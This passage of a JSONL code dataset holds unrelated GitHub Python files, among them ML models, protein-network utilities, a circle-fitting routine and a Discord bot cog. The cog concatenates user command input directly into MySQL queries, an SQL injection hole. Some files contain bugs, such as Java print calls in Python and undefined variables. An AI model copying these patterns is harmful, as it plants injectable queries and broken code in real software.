process.start()\n","repo_name":"Sagarovi21/SocialVantage","sub_path":"py/pageReviews.py","file_name":"pageReviews.py","file_ext":"py","file_size_in_byte":2238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"20196808812","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the sockMerchant function below.\ndef sockMerchant(n, ar):\n    mached_socks = {}\n    for i in range(len(ar)):\n        curr = ar[i]\n        if curr in mached_socks.keys():\n            continue\n        count = 1\n        for j in range(i+1, len(ar)):\n            if curr == ar[j]:\n                count +=1\n        if(count > 1):\n            mached_socks[curr] = count//2\n    mached_socks_count = 0\n    for k, v in mached_socks.items():\n        mached_socks_count += v\n    return mached_socks_count\n\nif __name__ == '__main__':\n    fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n    n = int(input())\n\n    ar = list(map(int, input().rstrip().split()))\n\n    result = sockMerchant(n, ar)\n\n    fptr.write(str(result) + '\\n')\n\n    fptr.close()\n","repo_name":"miruts-xz/competitive-programming","sub_path":"weeks/week-1/day-2/sales_by_match.py","file_name":"sales_by_match.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"20888824597","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\n\nclass model_gen(nn.Module):\n\tdef __init__(self, n_frames, cuda_mode):\n\t\tsuper(model_gen, self).__init__()\n\n\t\tself.cuda_mode = cuda_mode\n\n\t\t## Assuming (64, 143) inputs\n\n\t\tself.features = nn.Sequential(\n\t\t\tnn.Conv2d(1, 512, kernel_size=(5,5), padding=(2,1), stride=(2,2), bias=False),\n\t\t\tnn.BatchNorm2d(512),\n\t\t\tnn.ReLU(),\n\t\t\tnn.Conv2d(512, 256, kernel_size=(5,5), padding=(2,1), stride=(2,2), bias=False),\n\t\t\tnn.BatchNorm2d(256),\n\t\t\tnn.ReLU(),\n\t\t\tnn.Conv2d(256, 128, kernel_size=(5,5), padding=(2,1), stride=(1,2), bias=False),\n\t\t\tnn.BatchNorm2d(128),\n\t\t\tnn.ReLU(),\n\t\t\tnn.Conv2d(128, n_frames, kernel_size=(5,5), padding=(2,1), stride=(1,1), bias=False),\n\t\t\tnn.BatchNorm2d(n_frames),\n\t\t\tnn.ReLU() )\n\n\t\tself.lstm = nn.LSTM(160, 256, 2, bidirectional=True, batch_first=False)\n\n\t\tself.fc = nn.Linear(256*2, 100)\n\n\tdef forward(self, x):\n\n\t\tx = self.features(x).squeeze(1).transpose(1,0)\n\t\tx = x.view(x.size(0), x.size(1), -1)\n\n\t\tbatch_size = x.size(1)\n\t\tseq_size = x.size(0)\n\n\t\th0 = torch.zeros(2*2, batch_size, 256)\n\t\tc0 = torch.zeros(2*2, batch_size, 256)\n\n\t\tif self.cuda_mode:\n\t\t\th0 = h0.cuda()\n\t\t\tc0 = c0.cuda()\n\n\t\tx, h_c = self.lstm(x, (h0, c0))\n\n\t\tx = torch.tanh( self.fc( x ) )\n\n\t\treturn x.transpose(0,1)\n\n\n\nclass ResidualBlock(nn.Module):\n\n\tdef __init__(self):\n\t\tsuper(ResidualBlock, self).__init__()\n\t\tself.conv1 = nn.Conv2d(64, 64, kernel_size=3, stride=1, padding=1, bias=False)\n\t\tself.bn1 = nn.BatchNorm2d(64)\n\t\tself.conv2 = nn.Conv2d(64, 64, kernel_size=3, stride=1, padding=1, bias=True)\n\n\tdef forward(self, x):\n\t\tout = F.relu(self.bn1(self.conv1(x)))\n\t\tout = self.conv2(out)\n\t\tout += x\n\t\tout = F.relu(out)\n\t\treturn out\n\nclass model_baseline(nn.Module):\n\tdef __init__(self, n_frames):\n\t\tsuper(model_baseline, self).__init__()\n\n\t\tself.input_conv = nn.Sequential(nn.Conv2d(n_frames, 64, kernel_size=3, stride=1, padding=1, bias=False),\n\t\t\tnn.BatchNorm2d(64),\n\t\t\tnn.ReLU())\n\n\t\tself.intermediate_conv = nn.Sequential(nn.Conv2d(64, 64, kernel_size=3, stride=1, padding=1, bias=False),\n\t\t\tnn.BatchNorm2d(64),\n\t\t\tnn.ReLU(),\n\t\t\tnn.Conv2d(64, 64, kernel_size=3, stride=1, padding=1, bias=False),\n\t\t\tnn.BatchNorm2d(64),\n\t\t\tnn.ReLU())\n\n\t\tself.output_conv = nn.Conv2d(64, n_frames, kernel_size=1, stride=1, padding=0, bias=True)\n\n\t\tself.res_enc_1 = ResidualBlock()\n\t\tself.res_dec_1 = ResidualBlock()\n\t\tself.res_enc_2 = ResidualBlock()\n\t\tself.res_dec_2 = ResidualBlock()\n\t\tself.res_enc_3 = ResidualBlock()\n\t\tself.res_dec_3 = ResidualBlock()\n\t\tself.res_enc_4 = ResidualBlock()\n\t\tself.res_dec_4 = ResidualBlock()\n\t\tself.res_enc_5 = ResidualBlock()\n\t\tself.res_dec_5 = ResidualBlock()\n\n\n\tdef forward(self, x):\n\t\tx = x.squeeze(1).transpose(1,-1)\n\t\tx_in = self.input_conv(x)\n\t\tx_enc_1 = self.res_enc_1(x_in)\n\t\tx_enc_2 = self.res_enc_2(x_enc_1)\n\t\tx_enc_3 = self.res_enc_3(x_enc_2)\n\t\tx_enc_4 = self.res_enc_4(x_enc_3)\n\t\tx_enc_5 = self.res_enc_5(x_enc_4)\n\t\tx_dec_0 = self.intermediate_conv(x_enc_5) + x_enc_5\n\t\tx_dec_1 = self.res_dec_1(x_dec_0)\n\t\tx_dec_2 = self.res_dec_2(x_dec_1+x_enc_4)\n\t\tx_dec_3 = self.res_dec_3(x_dec_2+x_enc_3)\n\t\tx_dec_4 = self.res_dec_4(x_dec_3+x_enc_2)\n\t\tx_dec_5 = self.res_dec_5(x_dec_4+x_enc_1)\n\t\tx_out = self.output_conv(x_dec_5)\n\t\treturn x_out.transpose(1,-1).unsqueeze(1)\n","repo_name":"joaomonteirof/SMART_COUSP_Reconstruction","sub_path":"flying_numbers/models_zoo.py","file_name":"models_zoo.py","file_ext":"py","file_size_in_byte":3276,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"}
+{"seq_id":"24268102193","text":"__author__ = \"Anna Shchiptsova\"\n__copyright__ = \"Copyright (c) 2022 IIASA\"\n__license__ = \"MIT\"\n\nimport numpy as np  # type: ignore\n\n\n#: General:\n#: years per period.\nDT = 5\n\n#: Initial cumulative CO2 emissions (GtCO2).\nECUM0 = 400 + 197\n\n#: Initial atmospheric temperature change (°C from 1900);\n#: adjusted to only include athropogenic forcing.\nTAT0 = 1.243\n\n#: Initial lower stratum temperature change (°C from 1900);\n#: adjusted to only include athropogenic forcing.\nTLO0 = 0.324\n\n#: Carbon cycle:\n#: pre-industrial time-integrated airborne fraction of CO2 (yr).\nR0 = 35.0\n\n#: Carbon cycle:\n#: change in time-integrated airborne fraction with CO2 (yr/GtC).\nRC = 0.019\n\n#: Carbon cycle:\n#: change in time-integrated airborne fraction with temperature\n#: (yr/K).\nRT = 4.165\n\n#: Carbon cycle:\n#: partition coefficient of carbon boxes.\nA = np.array([0.217, 0.224, 0.282, 0.276])\n\n#: Carbon cycle:\n#: present-day decay time constants of CO2 (yr).\nTAU = np.array([1000000, 394.4, 36.54, 4.304])\n\n#: Carbon cycle:\n#: box parameters.\nCARBON_BOXES0 = np.array([127.159, 93.313, 37.840, 7.721])\n\n#: Carbon cycle:\n#: equilibrium concentration in atmosphere (GtC).\nC_CO2_EQ = 588\n\n#: Energy balance model:\n#: equilibrium temperature impact (°C per doubling C02).\nNU = 3.1\n\n#: Energy balance model:\n#: forcings of equilibrium CO2 doubling (Wm-2)\nKAPPA = 3.6813\n\n#: Energy balance model:\n#: speed of adjustment parameter for atmospheric temperature.\nXI1 = 7.3\n\n#: Energy balance model:\n#: climate model parameter.\nXI2 = KAPPA / NU\n\n#: Energy balance model:\n#: coefficient of heat loss from atmosphere to oceans.\nXI3 = 0.73\n\n#: Energy balance model:\n#: coefficient of heat gain by deep oceans.\nXI4 = 106\n","repo_name":"shchipts/generic-dice","sub_path":"python/climate-module/climate_module/hansel2020/parameters.py","file_name":"parameters.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"34834279714","text":"import os\r\nimport PIL.Image as Image\r\nimport torch.utils.data as data\r\n\r\n\r\n\r\ndef make_dataset(raw,masks):\r\n    imgs=[]\r\n    n = len(os.listdir(raw))\r\n    ls = os.listdir(raw)\r\n    for i in range(n):\r\n        img=os.path.join(raw,ls[i])\r\n        mask=os.path.join(masks,ls[i])\r\n        imgs.append((img,mask))\r\n    return imgs\r\n\r\n\r\nclass Datasets(data.Dataset):\r\n    def __init__(self, raw,mask, transform=None, target_transform=None):\r\n        imgs = make_dataset(raw,mask)\r\n        self.imgs = imgs\r\n        self.transform = transform\r\n        self.target_transform = target_transform\r\n\r\n    def __getitem__(self, index):\r\n        x_path, y_path = self.imgs[index]\r\n        img_x = Image.open(x_path)\r\n        img_x = img_x.resize((256,256))\r\n        img_x = img_x.convert('L')\r\n        img_y = Image.open(y_path)\r\n        img_y = img_y.resize((256,256))\r\n        img_y = img_y.convert('L')\r\n        if self.transform is not None:\r\n            img_x = self.transform(img_x)\r\n        if self.target_transform is not None:\r\n            img_y = self.target_transform(img_y)\r\n        return img_x, img_y\r\n\r\n    def __len__(self):\r\n        return len(self.imgs)\r\n","repo_name":"SUST-reynole/SGUNet","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"42820015307","text":"from os import path\n\nfrom setuptools import setup, find_packages\n\nhere = path.abspath(path.dirname(__file__))\n\nwith open(path.join(here, 'README.rst')) as f:\n    long_description = f.read()\n\n\ndef get_requirements(filename):\n    with open(filename) as f:\n        return f.read().splitlines()\n\n\nsetup(name='wscelery',\n      version='0.2.0',\n      # Autor detauls\n      author='Antonis Kalou',\n      author_email='kalouantonis@gmail.com',\n      # Project details\n      description='Real time celery monitoring using websockets',\n      long_description=long_description,\n      url='https://github.com/johan-sports/wscelery',\n      license='MIT',\n\n      classifiers=[\n          # Project maturity\n          'Development Status :: 3 - Alpha',\n\n          # Intended audience\n          'Intended Audience :: Developers',\n          'Topic :: System :: Distributed Computing',\n\n          # License\n          'License :: OSI Approved :: MIT License',\n\n          # Supported python versions\n          'Programming Language :: Python',\n          'Programming Language :: Python :: 3',\n          'Programming Language :: Python :: 3.4',\n          'Programming Language :: Python :: 3.5',\n          'Programming Language :: Python :: 3.6',\n          'Programming Language :: Python :: Implementation :: CPython',\n          'Operating System :: OS Independent',\n      ],\n      keywords=['celery', 'websocket', 'monitoring'],\n      packages=find_packages(exclude=['tests', 'tests.*']),\n      install_requires=get_requirements('requirements.txt'),\n      test_suite='wscelery.tests',\n      tests_require=get_requirements('test-requirements.txt'),\n      entry_points={\n          'console_scripts': [\n              'wscelery = wscelery.__main__:main',\n          ],\n          'celery.commands': [\n              'wscelery = wscelery.command:WsCeleryCommand',\n          ]\n      })\n","repo_name":"johan-sports/wscelery","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1857,"program_lang":"python","lang":"en","doc_type":"code","stars":76,"dataset":"github-code","pt":"37"}
+{"seq_id":"72383166826","text":"import mysql.connector\nimport os\nimport discord\nfrom discord.ext import commands\nfrom dotenv import load_dotenv\nfrom mysql.connector import Error\nload_dotenv()\nconfig ={\n\t'user': os.getenv('MYSQL_USER'),\n\t'password': os.getenv('MYSQL_PASS'),\n\t'host': os.getenv('MYSQL_HOST'),\n\t'database': os.getenv('MYSQL_DB'),\n\t'raise_on_warnings': True\n}\n\nbot = commands.Bot(command_prefix='!')\n\nclass Knowledgebase(commands.Cog):\n\n\tdef __init__(self, bot):\n\t        self.bot = bot\n\n\tdef connect(self):\n\t\tself.connection = mysql.connector.connect(**config)\n\t\tself.cursor = self.connection.cursor(buffered=True)\n\n\tdef disconnect(self):\n\t\tself.cursor.close()\n\t\tself.connection.close()\n\n\tasync def query_get_rows(self, ctx, tablename):\n\t\tembedVar = discord.Embed(title=tablename, description='', color=0xffffff)\n\t\trow_names=os.getenv(tablename.upper())\n\t\tself.cursor.execute('SELECT ' + row_names + ' FROM ' + tablename.lower())\n\t\tself.row = self.cursor.fetchone()\n\t\twhile self.row is not None:\n\t\t\tembedVar.add_field(name=self.row[0], value=self.row[1] + '\\n' + self.row[2], inline=False)\n\t\t\tself.row = self.cursor.fetchone()\n\t\tawait ctx.author.send(embed=embedVar)\n\t\tchannel_type = str(ctx.channel.type)\t\t\t\n\t\tif channel_type != 'private':\n\t\t\tawait ctx.message.delete()\n\t\n\n\tasync def query_get_rows_where(self, ctx, tablename, whereclause):\n\t\tembedVar = discord.Embed(title='', description='', color=0xffffff)\n\t\tchannel_type = str(ctx.channel.type)\n\t\trow_names=os.getenv(tablename.upper())\n\t\ttry:\n\t\t\tself.cursor.execute('SELECT ' + row_names + ' FROM ' + tablename + ' WHERE ' + tablename + '_name = ' + whereclause)\n\t\t\tself.row = self.cursor.fetchone()\n\t\texcept mysql.connector.Error as err:\n\t\t\tself.row = 'error'\n\t\tif self.row != 'error':\n\t\t\twhile self.row is not None:\n\t\t\t\tembedVar.add_field(name=row[0], value=row[1], inline=False)\n\t\t\t\tself.row = self.cursor.fetchone()\n\t\t\tawait ctx.author.send(embed=embedVar)\n\t\t\tif channel_type != 'private':\n\t\t\t\tawait ctx.message.delete()\n\t\telse:\n\t\t\tawait ctx.author.send('Nothing found!')\n\t\t\tif channel_type != 'private':\n\t\t\t\tawait ctx.message.delete()\n\t\t\n############  Knowledgebase commands  #############\n\t@bot.command(name='folder', help='Lists information about the provided folder. \\nUsage: !folder foldername')\n\tasync def folderdm (self, ctx, foldername):\n\t\tself.connect()\n\t\tawait self.query_get_rows_where(ctx, 'folder', foldername)\n\n\t@bot.command(name='lua', help='Lists information about the provided lua file. \\nUsage: !lua filename \\n Extension .lua is not required!')\n\tasync def luadm (self, ctx, luaname):\n\t\tself.connect()\n\t\tawait self.query_get_rows_where(ctx, 'lua', luaname)\n\n\t@bot.command(name='function', help='Lists information about the provided function. \\nUsage: !function functionname \\n () or additional arguments are not required!')\n\tasync def functiondm (self, ctx, functionname):\t\n\t\tself.connect()\n\t\tawait self.query_get_rows_where('function', functionname)\n\n\t@bot.command(name='tutorials', help='Displays a list of available tutorials about various topics')\n\tasync def tutorialsdm (self, ctx):\n\t\tself.connect()\n\t\tawait self.query_get_rows(ctx, 'Tutorial')\n\n############  Command Specific error handling  #############\n\t@folderdm.error\n\tasync def foldercmd_error(self, ctx, error):\n\t\tif isinstance(error, commands.MissingRequiredArgument):\n\t\t\tawait ctx.author.send('!folder requires a foldername!\\nUsage: !folder foldername')\n\t\t\tchannel_type = str(ctx.channel.type)\t\t\t\n\t\t\tif channel_type != 'private':\n\t\t\t\tawait ctx.message.delete()\n\n\t@luadm.error\n\tasync def luacmd_error(self, ctx, error):\n\t\tif isinstance(error, commands.MissingRequiredArgument):\n\t\t\tawait ctx.author.send('!lua requires a filename!\\nUsage: !lua filename \\n Extension .lua is not required!')\n\t\t\tchannel_type = str(ctx.channel.type)\t\t\t\n\t\t\tif channel_type != 'private':\n\t\t\t\tawait ctx.message.delete()\n\n\t@functiondm.error\n\tasync def functioncmd_error(self, ctx, error):\n\t\tif isinstance(error, commands.MissingRequiredArgument):\n\t\t\tawait ctx.author.send('!function requires a functionname!\\nUsage: !function functionname \\n () or additional arguments are not required!')\n\t\t\tchannel_type = str(ctx.channel.type)\t\t\t\n\t\t\tif channel_type != 'private':\n\t\t\t\tawait ctx.message.delete()\n\n\n\ndef setup(bot):\n\tbot.add_cog(Knowledgebase(bot))\n\n","repo_name":"Grumbledore667/annadiscordbot","sub_path":"cogs/knowledgebase.py","file_name":"knowledgebase.py","file_ext":"py","file_size_in_byte":4247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"30971547221","text":"import os\nimport pandas as pd\nimport numpy as np\nimport pickle\nimport json\n\ndef filter_protein(protein_node_list, reference):\n    ref = []\n    for tmp in reference:\n        ref += tmp\n    \n    return list_intersection(protein_node_list, ref)\n\n\ndef load_cliques_set(data_flag, tmp_path):\n    \"\"\"\n    for larger sgd_cliques_set.pickle file with 160M\n    \"\"\"\n\n    cliques_set_name = f'{data_flag[1]}{data_flag[2]}_cliques_set'\n\n    if not os.path.exists(f'{tmp_path}/{cliques_set_name}.pickle'):\n        cliques_set = None\n        print('====No saved clique====')\n    else:\n        cliques_set = load_pickle(f'{tmp_path}/', f'{cliques_set_name}.pickle')\n        print(f'Loading saved {cliques_set_name}.pickle')\n    return cliques_set\n\n\ndef list_intersection(l1, l2):\n    return list(set(l1).intersection(set(l2)))\n\n\ndef list_difference(l1, l2):\n    return list(set(l1).difference(set(l2)))\n\n\ndef list_union(l1, l2):\n    return list(set(l1).union(set(l2)))\n\n\ndef load_pickle(path, file_name):\n    # print(f'loading:{path}{file_name}')\n    with open(f'{path}{file_name}', 'rb') as f:\n        data = pickle.load(f)\n    return data\n\n\ndef save_pickle(path, file_name, data_pd):\n    if not os.path.exists(path):\n        os.mkdir(path)\n    with open(f'{path}{file_name}', 'wb') as f:\n        pickle.dump(data_pd, f)\n\n\ndef load_json(path, file_name):\n\n    with open(f'{path}{file_name}', 'r') as f:\n        json_ = json.loads(f.read())\n    return json_\n\n\ndef save_json(path, file_name, data_json):\n    if not os.path.exists(path):\n        os.mkdir(path)\n    with open(f'{path}{file_name}', 'w') as f:\n        json.dump(data_json, f, indent=4)\n\n\ndef load_complex(path, file_name, display_flag=True):\n    if display_flag:\n        print(f'Loading {path}{file_name}')\n\n    complex = []\n    with open(f'{path}{file_name}', 'r') as f:\n\n        lines = f.readlines()\n\n        for line in lines:\n            node_list = line.strip('\\n').strip(' ').split(' ')\n            complex.append(node_list)\n\n    return complex\n\n\ndef filter_modules(\n    protein_set_list, protein_name_list, min_protein_num=3,\n    only_intersect_flag=False\n):  \n    \"\"\"\n        filter protein set \n    \"\"\"\n    new_protein_set_list = []\n\n    for ref in protein_set_list:\n        one = list_intersection(ref, protein_name_list)\n        if len(one) >= min_protein_num:     # 至少3个元素在里面才要\n            if only_intersect_flag:\n                # 在pathway中过滤掉不属于其基础蛋白的节点，\n                #   包括complex的节点和（不用于组合complex和pathway）的中间蛋白\n                # 若过滤complex也同理\n                new_protein_set_list.append(one)\n            else:\n                # 过滤金标准���吧不属于该网络的节点的ref，就去除\n                new_protein_set_list.append(ref)\n    return new_protein_set_list\n\n\ndef save_complex(path, file_name, complex_set, Map_dic):\n    if not os.path.exists(path):\n        os.mkdir(path)\n\n    with open(f\"{path}{file_name}\", \"w\") as f:\n        for i in range(len(complex_set)):\n\n            line = \"\"\n            for m in complex_set[i]:\n                line += Map_dic[m] + \" \"\n            line += \"\\n\"\n\n            f.write(line)\n\n\ndef load_edge_weight(path, data_name):\n\n    print(f'Loading {path}{data_name}_attr_sim.txt')\n\n    edge_weight = []\n\n    with open(f'{path}{data_name}_attr_sim.txt', 'r') as f:\n        lines = f.readlines()\n        for line in lines:\n            one = line.strip('\\n').strip(' ').split(' ')\n            edge_weight.append(one)\n\n    return edge_weight\n\n\ndef load_attr_vector(path, data_name):\n    # print(f'Loading {path}{data_name}_attr_vector.txt')\n\n    node_feature_dict = dict()\n\n    with open(f'{path}{data_name}_attr_vector.txt', 'r') as f:\n        lines = f.readlines()\n        for line in lines:\n            if line == '\\n':\n                continue\n            one = line.strip('\\n').strip(' ').split(' ')\n            # one = line.strip('\\n').strip(' ').split('\\t')\n            node = one[0]\n            vector = [float(v) for v in one[1:]]\n            node_feature_dict[node] = vector\n\n    return node_feature_dict  # by order\n\n\ndef load_go_info(path, data_name):\n    \"\"\"\n    node information from 'go_slim_mapping.tab.txt'\n    \n    P for biological process(Bp) \n    F for molecular function(Mf)\n    C for cellular component(Cc)\n\n    Since GO slims of Cc include some protein complexes information, \n        only select Bp and Mf\n    \"\"\"\n    \n    print(f'Loading {path}{data_name}_go_information.txt')\n\n    node_go_info = []\n\n    with open(f'{path}{data_name}_go_information.txt', 'r') as f:\n        lines = f.readlines()\n        for line in lines:\n            one = line.strip('\\n').strip(' ').split(' ')\n            node = one[0]\n            go_tag = one[1:]\n            node_go_info.append((node, go_tag))\n\n    return node_go_info\n\n\ndef load_node_edge(path, data_name):\n    print(f'Loading {path}{data_name}.txt')\n\n    nodes = []\n    edges = []\n    \n    with open(f'{path}{data_name}.txt', 'r') as f:\n        lines = f.readlines()\n        for line in lines:\n            edges.append(line.strip('\\n').split('\\t'))\n            nodes += line.strip('\\n').split('\\t')\n    return list(set(nodes)), edges\n\n\ndef load_node_order_and_edge_dict(path, data_name, display_flag=True):\n    if display_flag:\n        print(f'Loading {path}{data_name}.txt')\n\n    nodes = []\n    edges = []\n    \n    with open(f'{path}{data_name}.txt', 'r') as f:\n        lines = f.readlines()\n        for line in lines:\n            node_1, node_2 = line.strip('\\n').split('\\t')\n\n            if node_1 not in nodes:\n                nodes.append(node_1)\n            if node_2 not in nodes:\n                nodes.append(node_2)\n\n            edge_dict = dict()\n            edge_dict['node_1'] = node_1\n            edge_dict['node_2'] = node_2\n            edges.append(edge_dict)\n\n    return nodes, edges\n\n\ndef save_node_emb(path, file_name, node_order, node_emb):\n\n    assert len(node_order) == len(node_emb)\n\n    if not os.path.exists(path):\n        os.mkdir(path)\n    \n    with open(f'{path}{file_name}', 'w') as f:\n        for node, emb in zip(node_order, node_emb):\n            str_emb = ' '.join([str(e) for e in emb])\n            f.write(f'{node} {str_emb}\\n')\n\n\ndef load_node_emb(path, file_name):\n\n    emb = []\n    with open(f'{path}{file_name}', 'r') as f:\n        lines = f.readlines()\n        for line in lines:\n            one = line.strip('\\n').split(' ')\n            emb.append([float(o) for o in one[1:]])\n    return np.array(emb)\n\n\ndef cos_sim(vector1, vector2):\n    dot_product = 0.0\n    normA = 0.0\n    normB = 0.0\n    for a, b in zip(vector1, vector2):\n        dot_product += a * b\n        normA += a ** 2\n        normB += b ** 2\n    result=dot_product / ((normA * normB) ** 0.5)\n    return result\n\n\ndef save_node_sim(path, file_name, node_order, edge_list, node_emb):\n\n    assert len(node_order) == len(node_emb)\n\n    if not os.path.exists(path):\n        os.mkdir(path)\n\n    # get node embedding\n    node_emb_list = []\n    for node, emb in zip(node_order, node_emb):\n        node_emb_dict = {'node_name': node, 'node_vector': emb}\n        node_emb_list.append(node_emb_dict)\n\n    with open(f'{path}{file_name}', 'w') as f:\n\n        for edge_dict in edge_list:\n            temp1 = 0\n            temp2 = 0\n            for node_emb_dict in node_emb_list:\n                if edge_dict['node_1'] == node_emb_dict['node_name']:\n                    v1 = np.array(node_emb_dict['node_vector'])\n                    temp1 = 1\n\n            for node_emb_dict in node_emb_list:\n                if edge_dict['node_2'] == node_emb_dict['node_name']:\n                    v2 = np.array(node_emb_dict['node_vector'])\n                    temp2 = 1\n\n            if temp1 == 1 and temp2 == 1:\n                result = cos_sim(v1, v2)\n                node_1 = edge_dict['node_1']\n                node_2 = edge_dict['node_2']\n                f.write(f'{node_1} {node_2} {result}\\n')\n\n\ndef save_cluster(path, file_name, pre_label_onehot, node_list, k):\n\n    assert pre_label_onehot.shape[0] == len(node_list)\n\n    node_arr = np.array(node_list)\n\n    if not os.path.exists(path):\n        os.mkdir(path)\n\n    # save all protein name in same cluster\n    with open(f'{path}{file_name}', 'w') as f:\n        for i in range(k):\n            ind = np.where(pre_label_onehot==i)[0]\n            f.write(' '.join(node_arr[ind])+'\\n')\n            f.write(' '.join([str(ind_) for ind_ in ind.tolist()])+'\\n')\n\n\ndef load_node_sim(path, file_name):\n\n    Dic_map = {}\n    index = 0\n    Node1 = []\n    Node2 = []\n    Weight = []\n    All_node = set([])\n    All_node_index = set([])\n\n    with open(f\"{path}{file_name}\", \"r\") as f:\n        lines = f.readlines()\n        for line in lines:\n            line = line.strip().split()\n            if len(line) == 3:\n                Node1.append(line[0])\n                All_node.add(line[0])\n                Node2.append(line[1])\n                All_node.add(line[1])\n                Weight.append(float(line[2]))\n\n                if line[0] not in Dic_map:\n                    Dic_map[line[0]] = index\n                    All_node_index.add(index)\n                    index += 1\n\n                if line[1] not in Dic_map:\n                    Dic_map[line[1]] = index\n                    All_node_index.add(index)\n                    index += 1\n\n    Map_dic = {}\n    for key in Dic_map.keys():\n        Map_dic[Dic_map[key]] = key\n\n    return Map_dic, All_node_index\n\n\ndef load_network_adj(path, data_name):\n    print(f'Loading {path}Network_{data_name}.txt')\n\n    adj = []\n    \n    with open(f'{path}Network_{data_name}.txt', 'r') as f:\n        lines = f.readlines()\n        for line in lines:\n            row = line.strip('\\n').strip(' ').split(' ')\n            adj.append([int(r) for r in row])\n\n    return np.array(adj)\n\n\ndef load_node_attr(path, data_name):\n    print(f'Loading {path}Attribute_{data_name}.txt')\n\n    feature_onehot = []\n    \n    with open(f'{path}Attribute_{data_name}.txt', 'r') as f:\n        lines = f.readlines()\n        for line in lines:\n            row = line.strip('\\n').strip(' ').split(' ')\n            feature_onehot.append([int(r) for r in row])\n\n    return np.array(feature_onehot)\n\n\ndef count_different(data_pd, key):\n\n    element_list = []\n    for element in data_pd[key].to_list():\n        if len(element)>0:\n            element_list += element\n    \n    return list(set(element_list))\n\n\ndef joint_data_info(path, data_name, save_flag=False):\n\n    print(f'Joint {data_name} info of nodes & edges.')\n\n    print('\\n====get node go infomation====')\n    node_go_info = load_go_info(path, data_flag[1])\n    print('There are', len(node_go_info), 'nodes info in', data_flag[1])\n\n    print('\\n====get node feature====')\n    node_feature_dict = load_attr_vector(path, data_flag[1])\n    print('There are', len(node_feature_dict), 'nodes with feature in', data_flag[1])\n    print('Node feature dimension is', len(node_feature_dict['YAL001C']))\n\n    print('\\n====get egde weight (similarity of nodes)====')\n    edge_weight = load_edge_weight(path, data_flag[1])\n\n    node_pd = pd.DataFrame(node_go_info, columns=['node_protein', 'go_tags'])\n    node_pd['feature'] = node_pd['node_protein'].apply(lambda np: node_feature_dict[np])\n    tag_diff_list = count_different(node_pd, 'go_tags')\n\n    edge_pd = pd.DataFrame(edge_weight, columns=['node_protein_1', 'node_protein_2', 'similarity'])\n\n    print(node_pd)\n    print('There are', len(tag_diff_list), 'different go tags.')\n    print(tag_diff_list[:5])\n    print(edge_pd)\n\n    if save_flag:\n        save_pickle(f'{path}pd_data_files/', f'{data_name}_node_pd.pickle', node_pd)\n        save_pickle(f'{path}pd_data_files/', f'{data_name}_edge_pd.pickle', edge_pd)\n    \n\ndef get_network_data(path, data_name):\n\n    adj = load_network_adj(path, data_name)\n    feature_onehot = load_node_attr(path, data_name)\n\n    return adj, feature_onehot\n\n","repo_name":"aI-area/AdaPPI","sub_path":"util/data_processing.py","file_name":"data_processing.py","file_ext":"py","file_size_in_byte":11906,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"27244476907","text":"import numpy as np\r\n#Circle fitting itterative method, known as Taubin-Newton  \r\ndef Taubin_Newton (x_pos, y_pos):\r\n    nPoints = len(x_pos)\r\n    if (nPoints < 3):\r\n        print(\"Too few points\")\r\n    else:\r\n        x_centroid = np.mean(x_pos)\r\n        y_centroid = np.mean(y_pos)\r\n        Mxx = 0 \r\n        Myy = 0\r\n        Mxy = 0\r\n        Mxz = 0\r\n        Myz = 0\r\n        Mzz = 0\r\n        i = 0\r\n        while (i < nPoints):\r\n            Xi = x_pos[i] - x_centroid\r\n            Yi = y_pos[i] - y_centroid\r\n            Zi = Xi * Xi + Yi * Yi\r\n            Mxy += Xi * Yi\r\n            Mxx += Xi * Xi\r\n            Myy += Yi * Yi\r\n            Mxz += Xi * Zi\r\n            Myz += Yi * Zi\r\n            Mzz += Zi * Zi\r\n            i = i+1\r\n\r\n        Mxx /= nPoints\r\n        Myy /= nPoints\r\n        Mxy /= nPoints\r\n        Mxz /= nPoints\r\n        Myz /= nPoints\r\n        Mzz /= nPoints\r\n\r\n        Mz = Mxx + Myy\r\n        Cov_xy = Mxx * Myy - Mxy * Mxy\r\n        A3 = 4 * Mz\r\n        A2 = -3 * Mz * Mz - Mzz\r\n        A1 = Mzz * Mz + 4 * Cov_xy * Mz - Mxz * Mxz - Myz * Myz - Mz * Mz * Mz\r\n        A0 = Mxz * Mxz * Myy + Myz * Myz * Mxx - Mzz * Cov_xy - 2 * Mxz * Myz * Mxy + Mz * Mz * Cov_xy\r\n        A22 = A2 + A2\r\n        A33 = A3 + A3 + A3\r\n\r\n        xnew = 0\r\n        ynew = 1e+20\r\n        epsilon = 1e-12\r\n        iterMax = 20\r\n\r\n        iter = 0\r\n        while (iter < iterMax):\r\n            yold = ynew\r\n            ynew = A0 + xnew * (A1 + xnew * (A2 + xnew * A3))\r\n            if (np.abs(ynew) > np.abs(yold)):\r\n                System.out.println(\"Newton-Taubin goes wrong direction: |ynew| > |yold|\")\r\n                xnew = 0\r\n                break\r\n            \r\n            Dy = A1 + xnew * (A22 + xnew * A33)\r\n            xold = xnew\r\n            xnew = xold - ynew / Dy\r\n            if (np.abs((xnew - xold) / xnew) < epsilon):\r\n                break\r\n            \r\n            if (iter >= iterMax):\r\n                System.out.println(\"Newton-Taubin will not converge\")\r\n                xnew = 0\r\n            \r\n            if (xnew < 0.):\r\n                System.out.println(\"Newton-Taubin negative root: x = \" + xnew)\r\n                xnew = 0\r\n\r\n            iter = iter + 1\r\n                \r\n        centreRadius = [0, 0, 0, 0]\r\n        det = xnew * xnew - xnew * Mz + Cov_xy\r\n        x = (Mxz * (Myy - xnew) - Myz * 